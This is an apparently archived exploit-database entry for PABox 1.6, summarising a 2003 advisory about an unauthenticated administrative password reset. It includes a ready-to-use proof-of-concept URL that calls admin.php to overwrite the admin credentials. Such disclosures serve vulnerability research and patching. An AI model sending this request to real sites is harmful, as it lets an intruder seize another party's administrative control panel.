PABox 1.6 - Password Reset



EKU-ID: 28316 CVE: OSVDB-ID:
Author: silentscripter Published: 2003-06-30 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home 


source: https://www.securityfocus.com/bid/8067/info

paBox is prone to an issue that may allow unauthenticated remote users to reset administrative passwords. This could permit unauthorized access to the administrative Control Panel.

http://www.example.com/thebox/admin.php?act=write&username=admin&password=admin&aduser=admin&adpass=admin